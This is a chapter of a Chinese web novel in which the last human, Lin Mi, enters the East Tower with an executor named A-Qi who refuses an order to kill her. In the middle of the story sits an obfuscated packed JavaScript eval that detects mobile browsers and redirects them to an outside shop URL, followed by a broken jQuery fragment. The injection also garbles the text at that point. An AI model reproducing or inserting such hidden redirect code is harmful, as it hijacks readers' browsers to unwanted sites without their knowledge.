阿七的右手亮起来时，林弥第一反应不是害怕。
是心疼自己的锅铲。
那根锅铲是石头巨人郑重其事塞进她包里的，虽然林弥一直觉得它在冒险装备中的地位十分可疑，但当一只泛着冷白光的金属手骨抬起来，对准她胸口时，她还是下意识把锅铲横在了身前。
机械鸟在半空中发出尖锐警报。
“林弥，后退！”
背包里的影子生物猛地钻出来，像一块被风掀起的黑布，试图挡在她面前。可它太小了，又在阳光下被晒得边缘发虚，挡人的姿态看起来更像一片努力工作的破抹布。
东塔大门缓缓开启。
黑暗从门缝里涌出来，冷得不像空气，更像一段沉睡太久的记忆。
那道冰冷的机械声仍在重复。
【第七执行体，任务更新。】
【停止回收。】
【立即清除目标H-001。】
阿七站在门前，灰色眼睛里机械光环飞快转动。
他的手还抬着。
指节冷白，掌心那枚圆形印记亮得像一只睁开的眼。
林弥握紧锅铲，觉得这个场面非常不合理。
她昨天刚知道自己是最后一个人类，今天第一次出远门，上午安慰了情绪失控的藤蔓，中午被一个自称执行体的可疑少年要求回收，下午又被旧世界大门欢迎回家。
现在，这扇门欢迎完了，还要她死。
旧世界的待客礼仪显然很差。
“阿七。”林弥慢慢往后退了一步，“你现在听得见我说话吗？”
阿七没有回答。
他的右手微微发颤。
那不是害怕，也不是犹豫，更像某个精密零件被强行卡住，正在两道相反指令之间发出无声的摩擦。
林弥看见他脖颈侧面的银色线路一条条亮起，冷光从衣领下蔓延出来，像冰在皮肤下面生长。
机械鸟悬停在林弥肩前，声音压得很低。
“第七执行体正在接收高级命令。林弥，不要靠近。”
林弥没有靠近。
她只是问：“他会杀我吗？”
机械鸟沉默了一瞬。
对于一只机械鸟而言，这个沉默几乎可以算是委婉。
林弥吸了一口气。
“好，我明白了。”
她把锅铲握得更紧。
东塔内部传来第二声提示。
【清除倒计时开始。】
【三。】
阿七的手指猛地收紧。
冷白光在掌心凝成一道细线。
【二。】
林弥的后背撞上了路边一辆废弃车。
她已经没有地方再退。
影子生物急得在地上膨胀开来，拼命想把她往旁边推。机械鸟张开翅膀，眼睛亮到近乎灼白。
林弥看着阿七。
她忽然发现，他的眼睛并不是完全没有变化。
那些机械光环之下，似乎有一小点极深的灰色卡在原地，没有跟着系统指令转动。
像一粒没有被卷走的灰尘。
也像某种不肯熄灭的东西。
【一。】
阿七的手动了。
林弥闭了一下眼。
下一秒，冷白光擦着她耳侧射过去。
轰的一声，打穿了她身后那辆废弃车的车顶，也打断了一根正从东塔门内探出的黑色金属线。
金属线落在地上，像活蛇一样扭动了几下，发出刺耳的电流声，很快烧成一截焦黑。
林弥睁开眼。
她的头发被气流掀乱，耳边嗡嗡作响。
阿七站在原地，手还没有放下。
他看着自己的右手，像也对刚才发生的事感到不确定。
东塔内部的声音卡顿了一下。
【清除失败。】
【第七执行体，偏差值上升。】
【重新校准。】
阿七的身体猛地僵住。
林弥终于反应过来。
他刚才没有攻击她。
他打偏了。
不。
不是打偏。
他打断了门里真正要清除她的东西。
林弥心跳快得厉害，嘴却比脑子先动了。
“你们旧世界系统真没礼貌。”她说，“欢迎回家之后就放暗器？”
机械鸟缓缓转头看她。
“林弥，现在不是评价旧世界礼仪的时候。”
“我紧张的时候会话多。”林弥说。
阿七终于放下手。
他的金属指节还在发光，冷白光一闪一闪，像一盏接触不良的灯。
他看向林弥，声音比刚才低了一点。
“你没有受伤。”
“差一点就有了。”
“差一点不计入伤亡。”
林弥被气笑了：“你们执行体都这么会安慰人吗？”
“执行体不具备安慰模块。”
“看出来了。”
机械鸟立刻插话：“你刚才违抗了命令。”
阿七说：“没有。”
机械鸟冷冷地看着他。
阿七停顿了一下，修正道：“指令执行路径发生偏差。”
“通俗点呢？”林弥问。
阿七看向她。
“我没有清除你。”
林弥：“……”
这句话倒是通俗得让人不知道怎么接。
东塔大门还开着。
门后不是想象中的大厅，而是一条漫长的下行通道。通道两侧嵌着一排排熄灭的白灯，墙壁上覆盖着灰尘和黑色裂纹。更深处，有某种庞大的系统正在苏醒，发出低沉的嗡鸣。
阿七忽然伸手拦住林弥。
“不能进去。”
林弥看着他的手：“你刚刚才救了我，现在又要拦我？”
“这不是救。”
“那是什么？”
“降低目标提前死亡概率。”
“你管这个不叫救？”
阿七沉默两秒。
“叫风险控制。”
林弥认真地点点头：“行。谢谢你的风险控制。”
阿七似乎不太适应她这种说法，机械光环慢了半拍。
机械鸟在旁边记录：“第七执行体存在命令偏差，并对林弥感谢行为出现反应迟缓。”
阿七看向它：“停止记录。”
机械鸟：“拒绝。”
阿七：“你不具备拒绝权限。”
机械鸟：“我具备温室城监护记录自由。”
林弥有点惊讶：“你们机械造物吵架都这么讲权限吗？”
机械鸟和阿七同时看向她。
一个说：“不是吵架。”
另一个说：“是权限冲突。”
林弥：“懂了，就是吵架。”
背包里的影子生物探出头，轻轻拍了拍林弥的肩带，像是在赞同。
东塔内部忽然又响了一声。
【检测到非授权讨论。】
【请目标H-001进入身份确认区。】
【欢迎回家。】
林弥抬头看向那条通道。
她觉得很荒谬。
刚刚还要清除她的地方，现在又用一种温和得近乎虚假的声音叫她回家。
她从小在温室城长大。
家应该有蘑菇雨，有水母灯，有石头巨人在窗外守夜，有影子生物偷偷藏她的袜子，有机械鸟把她气得半死又悄悄替她挡风。
而不是一扇冷冰冰的大门，一条黑漆漆的通道，和一个随时可能改变主意的旧系统。
“它为什么一边欢迎我，一边要杀我？”林弥问。
阿七说：“系统逻辑冲突。”
“旧世界经常这样？”
“是。”
这个答案过于干脆，林弥反而不知道该说什么。
机械鸟解释道：“东塔可能存在多个残存程序。部分程序识别你为人类样本，部分程序识别你为需清除风险。”
“所以我到底是客人，还是垃圾？”
阿七看她一眼。
“样本。”
林弥面无表情地举起锅铲。
阿七停顿了一下，补充：“林弥。”
林弥满意地放下锅铲：“学习能力不错。”
机械鸟冷冷道：“不要鼓励危险执行体。”
阿七说：“我不危险。”
机械鸟：“你刚刚接到清除命令。”
阿七：“未完成。”
机械鸟：“这不是值得骄傲的履历。”
阿七：“我没有骄傲。”
林弥忍不住插嘴：“你们能不能不要在杀人系统门口讨论职业道德？”
一鸟一执行体同时安静。
林弥深吸一口气，把金属牌拿出来。
“H-001”的字样仍在发光，微微发烫，像有什么东西正在从里面呼唤她。
她想起昨晚影像里的女人。
如果她活到十六岁，就让她去找我们消失的原因。
从东塔开始。
这句话像一根细线，从她生日那天开始，一直牵到这扇门后。
“我要进去。”林弥说。
阿七：“不建议。”
“我知道你不建议。”
“死亡概率上升。”
“我知道。”
“你是最后人类样本。”
林弥看向他：“我不是样本。”
阿七安静下来。
林弥一字一句地说：“我是林弥。”
风从东塔通道里吹出来，带着冷金属和尘封纸张的味道。
阿七看着她。
他的系统界面上，关于目标H-001的资料再次浮现。
【物种：人类。】
【编号：H-001。】
【状态：可清除。】
【危险等级：未知。】
可在这些冰冷的资料之外，有一个他刚刚学习到的称呼，像不属于系统的字符，停在某个不该存在的位置。
林弥。
不是目标。
不是样本。
不是风险。
阿七的右手慢慢垂下。
“进入后，保持在我三步以内。”
林弥眼睛一亮：“你同意了？”
“不是同意。”
“那是什么？”
“降低你独自死亡概率。”
“你刚才真的很像水母族监护员。”
“我不是水母。”
“我知道，你没有触手。”林弥背好包，“但你们都很擅长把关心说得像事故报告。”
阿七似乎没能立刻理解这句话。
机械鸟倒是反应很大：“本机申请纠正，水母族监护员表达方式温和，本机表达方式准确，第七执行体表达方式恶劣，不应归为同类。”
阿七看它：“你对我有敌意。”
机械鸟：“有。”
阿七：“原因？”
机械鸟：“你试图回收林弥。”
“未完成。”
“你还接到清除命令。”
“也未完成。”
机械鸟：“这两件事不是靠未完成就能获得谅解。”
林弥听着他们说话，忽然觉得自己进入东塔的紧张感都被吵淡了很多。
她迈进门内。
第一步落下时，脚下的地面亮起一圈白光。
东塔内部像被她的存在唤醒，灯一盏接一盏亮起来。只是那些灯都太旧了，有的亮成惨白，有的忽明忽灭，还有的发出滋滋的电流声，看起来随时准备殉职。
通道两侧浮现出模糊投影。
【欢迎来到东塔人类延续中心。】
【请保持秩序。】
【请勿奔跑。】
【请勿触碰封存舱。】
【请勿在走廊内进食。】
林弥看着最后一条，低头看了一眼自己刚掏出来的安全浆果。
机械鸟说：“放回去。”
林弥默默把浆果塞回口袋。
阿七看向她：“你想进食？”
“不想。”
“你刚才取出了食物。”
“人类在紧张的时候会想吃东西。”
阿七处理了一秒：“低效。”
林弥说：“你再说一句低效，我就把锅铲借给你，让你感受一下高效。”
阿七：“收到。”
他们继续往前走。
背包里的影子生物终于完全钻出来，贴在林弥脚边。通道里光线很暗，它显然舒服了很多，身体重新变得圆润，甚至胆子大到偷偷伸手去碰墙上的投影。
投影闪了一下，忽然显示出一行字。
【姓名录入区。】
影子生物愣住。
它慢慢抬起头，蓝眼睛变得很亮。
林弥蹲下来：“你认识这里？”
影子摇摇头，又点点头。
它没有嘴，说不了话，只能伸出细细的手，在地上写字。
很多名字。
写完，它又擦掉。
然后继续写。
林弥看懂了。
这里有很多名字。
或许曾经有许多人类在这里登记、等待、进入更深处。影子生物虽然没有来过，却能感觉到那些名字留下的痕迹。
阿七看着地上的字。
“影子生物收集遗忘姓名。”
林弥问：“你知道？”
“资料库中有记载。旧世界后期，影子生物大量出现于死亡区域和失踪人口聚集区。”
机械鸟立刻道：“温室城影子生物无害。”
阿七说：“我没有判定它有害。”
影子生物慢慢爬到林弥鞋边，抓住她的鞋带。
林弥低头摸了摸它：“没事。他说话不好听，但暂时没有恶意。”
阿七纠正：“我没有恶意模块。”
林弥抬头：“也没有幽默模块。”
“是。”
“你承认得倒挺快。”
他们走出通道，进入一座圆形大厅。
大厅比林弥想象中更大。
穹顶很高，中央悬着一枚巨大的白色圆环。圆环已经裂开，碎片像断掉的月亮，悬在半空。四周墙壁上排列着许多封闭舱，大部分已经空了，只剩下透明舱盖和黯淡编号。
地面中央有一座前台。
前台后方坐着一个机器人。
准确地说，是半个机器人。
它的下半身不见了，上半身还穿着褪色制服，胸前挂着工作牌。它趴在桌上，头顶生了一株小小的白蘑菇。
听见脚步声，机器人眼睛突然亮起绿光。
林弥吓得后退半步，差点撞到阿七身上。
阿七抬手扶住她的背包带，又很快松开。
动作快得像只是出于平衡计算。
机器人抬起头。
“欢迎来到东塔人类延续中心。请出示预约码、身份牌及监护人证明。”
林弥低头看金属牌：“这个可以吗？”
机器人眼睛扫过金属牌。
“识别成功。姓名：林弥。编号：H-001。年龄：十六岁。状态：异常。”
林弥皱眉：“为什么异常？”
机器人卡顿了一下。
“错误。错误。错误。H-001理论状态应为：封存中。当前状态：自由活动。”
阿七说：“系统资料未更新。”
机器人转向他。
“识别到第七执行体。状态：异常。”
阿七沉默。
林弥立刻看向他：“你也是异常？”
阿七没有回答。
机器人继续播报：
“第七执行体理论状态应为：待机。当前状态：自由活动。”
机械鸟冷冷道：“你们东塔是不是只要看见能走的都判定异常？”
机器人：“请勿质疑服务系统。”
林弥看着它头顶那株小蘑菇，实在很难对它产生敬畏。
机器人伸出一只锈迹斑斑的手。
“未成年人进入核心区需监护人陪同。”
林弥说：“我十六岁了。”
“根据旧世界人类法规，十六岁仍属于未成年人。”
林弥转头看阿七：“你听见了吗？我成年仪式白办了。”
阿七：“温室城标准与旧世界标准不一致。”
“那我现在需要监护人。”林弥思考片刻，指向阿七，“他可以吗？”
阿七看向她。
机械鸟震惊地拍了一下翅膀：“不可以！”
机器人扫描阿七。
“第七执行体，非人类，非亲属，非合法登记监护人。审核不通过。”
林弥又指向机械鸟：“它呢？”
机器人扫描机械鸟。
“机械记录单位，非人类，非亲属，非合法登记监护人。审核不通过。”
林弥指向影子。
影子生物立刻挺起胸膛，努力让自己显得可靠。
机器人扫描半天。
“未知影子类生命。非人类，非亲属，疑似不具备稳定形体。审核不通过。”
影子生物肉眼可见地塌了下去。
林弥赶紧安慰：“不是你的问题，是它眼光不好。”
机器人说：“请勿辱骂服务系统。”
林弥：“你听力倒是挺好。”
阿七抬头看向大厅深处。
那里有三条通道。
左侧写着：生态修复档案区。
右侧写着：执行体管理区。
中间写着：H系列封存区。
林弥也看见了。
H系列。
她低头看自己手里的金属牌。
H-001。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17729857|208926||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
心跳又开始加快。
她绕过前台，想往中间通道走。
机器人立刻抬手。
“权限不足。请出示监护人证明。”
林弥耐心耗尽：“如果没有呢？”
机器人眼睛一亮。
“可选择补办。”
林弥愣住：“还能补办？”
机器人从抽屉里抽出一张发黄的表格，啪地拍在桌上。
“请填写监护人姓名、物种、年龄、住址、与未成年人关系、是否具备稳定收入、是否有不良记录、是否同意承担人类幼崽破损风险。”
林弥看着那张表格。
阿七看着那张表格。
机械鸟也看着那张表格。
影子生物爬到桌边，低头看了看“是否具备稳定形体”那一栏，默默缩了回去。
林弥忽然觉得旧世界灭亡得不是没有道理。
到世界末日了，他们居然还在填表。
“稳定收入是什么？”她问。
机械鸟解释：“旧人类用于衡量生存资源获取能力。”
林弥认真思考：“蘑菇长老算有稳定收入吗？它每天稳定掉孢子。”
机器人说：“请填写货币收入。”
林弥：“我们家不用货币。”
机器人：“审核困难。”
林弥：“石头巨人有一座图书馆。”
机器人：“是否可变现？”
林弥：“你对监护人的要求很庸俗。”
机器人：“请勿辱骂服务系统。”
阿七忽然伸出手，按在桌面上。
掌心圆形印记亮起。
“临时授权。第七执行体申请进入H系列封存区。”
机器人扫描他掌心。
大厅灯光闪烁了一下。
“权限识别中。”
林弥看向他。
“你有权限？”
“部分。”
“你刚才怎么不早说？”
“你在尝试补办监护人。”
“你觉得那件事有成功可能吗？”
“低。”
“那你为什么看着我填表？”
阿七认真回答：“观察人类解决行政问题。”
林弥：“……”
她深吸一口气，决定暂时不和他计较。
机器人眼睛从绿色变成黄色，又从黄色变成红色。
“警告。第七执行体权限异常。”
“权限来源：旧世界中央守墓系统。”
“状态：被封存。”
“备注：第七执行体存在执行延迟，建议限制单独行动。”
空气忽然安静下来。
林弥看向阿七。
执行延迟。
她想起东塔门口那三秒倒计时。
想起冷白光擦过她耳侧，打断了真正要杀她的金属线。
原来那不是偶然。
阿七也看着机器人。
他的表情没什么变化，但林弥莫名觉得，他周围的空气冷了一点。
机械鸟低声道：“执行延迟是什么意思？”
机器人卡顿了一下，像是翻出了很久以前的资料。
“第七执行体，旧世界末期制造。用途：守墓、回收、清除、封存。”
“初始测试结果：不合格。”
林弥皱眉。
“为什么不合格？”
机器人眼睛闪烁。
“指令响应延迟。”
“战斗执行偏差。”
“目标清除前存在多次无意义确认。”
“曾于三次测试中询问：目标是否必须死亡。”
林弥的手指轻轻收紧。
阿七没有说话。
机器人还在继续。
“评估结论：第七执行体与其余执行体不同，疑似存在不稳定判断残留。”
“处理建议：销毁。”
大厅里的灯滋滋闪了两下。
林弥看着阿七。
她忽然意识到，阿七不是因为今天才开始违抗命令。
他一直如此。
在她还没有出生，或者刚刚被封存在某个透明箱子里的时候，他就已经是系统眼里的异常。
其他执行体收到清除命令，也许不会停顿，不会询问，不会思考目标是否必须死亡。
只有第七执行体会慢半拍。
会多问一句。
会在杀死什么之前，先确认它是否真的该死。
也许在旧世界系统看来，这叫故障。
可林弥觉得，这更像某种很珍贵的东西。
比蘑菇伞下的孢子、地下河里的星星、影子收藏的名字都更稀有。
她看着阿七，忽然说：“所以你不是坏了。”
阿七转过头。
林弥说：“你只是比它们多想了一下。”
阿七灰色眼睛里的机械光环停了短短一瞬。
很短。
但林弥看见了。
机器人发出一阵刺耳电流声。
“错误。第七执行体异常状态不可美化。请勿对故障单位进行情感解释。”
林弥看向它：“请勿辱骂我临时队友。”
机器人：“临时队友不属于合法关系类别。”
林弥：“那你表格里加一栏。”
机器人：“无权限新增关系类别。”
林弥认真道：“旧世界行政系统真没有想象力。”
机器人：“请勿——”
机械鸟接话：“辱骂服务系统。知道了，下一句。”
机器人卡顿了。
仿佛从来没遇见过这种抢答。
阿七忽然低声说：“临时队友。”
林弥看向他。
“什么？”
阿七重复：“该关系类别，可接受。”
他说这句话时，声音还是平的。
可林弥忽然觉得，他好像真的把这个词存进了什么很深的地方。
不是任务记录。
也不是系统档案。
是某个他自己也还不知道该怎么命名的位置。
就在这时，大厅深处传来一声沉闷的解锁声。
中间那条通往H系列封存区的门，缓缓打开了一道缝。
机器人恢复播报：
“临时权限通过。”
“请H-001进入封存区。”
“请第七执行体随行。”
“请注意：若目标出现记忆觉醒、权限污染、情绪过载或试图离开东塔核心区，系统将重新启动清除程序。”
林弥听到最后一句，立刻看向阿七。
阿七说：“我会降低该情况发生概率。”
林弥：“这次能不能说得像人话一点？”
阿七沉默片刻。
“我会挡住。”
林弥怔了一下。
机械鸟也罕见地没有立刻挑刺。
影子生物悄悄从背包里爬出来，伸手碰了碰阿七的斗篷边缘。
阿七低头看它。
影子生物用细细的手，在地上写了两个字。
阿七。
阿七看着那两个字。
很久后，他问：“这是名字？”
林弥说：“暂时算。”
“暂时？”
“嗯。”林弥抬头看向那条幽深的通道，“等你以后不只是第七执行体，也不只是阿七的时候，也许会有更正式的名字。”
阿七看着她：“名字会改变什么？”
林弥想了想。
“不会改变你是什么。”
她说。
“但会让别人知道，你不只是被制造出来完成什么任务的东西。”
阿七没有再问。
通道里的灯一盏盏亮起，照出更深处排列整齐的透明舱。
每一只舱盖上，都刻着一个编号。
H-002。
H-003。
H-004。
H-005。
林弥停住脚步。
她原本以为自己是H-001。
最后一个人类。
可那些编号静静躺在灯光下，像一排从未被讲完的故事。
她忽然觉得手里的金属牌变得很重。
机械鸟的声音第一次带上了明显的不确定。
“这些编号……不应存在。”
阿七看向最深处。
那里有一只最大的透明舱。
舱盖上没有灰尘。
也没有破损。
上面的编号是：
H-000。
下一秒，透明舱内部亮起微弱的红光。
一个女人的声音从封存舱里传出来。
很轻。
很哑。
却和昨夜影像里那个女人一模一样。
“林弥。”
“别相信东塔。”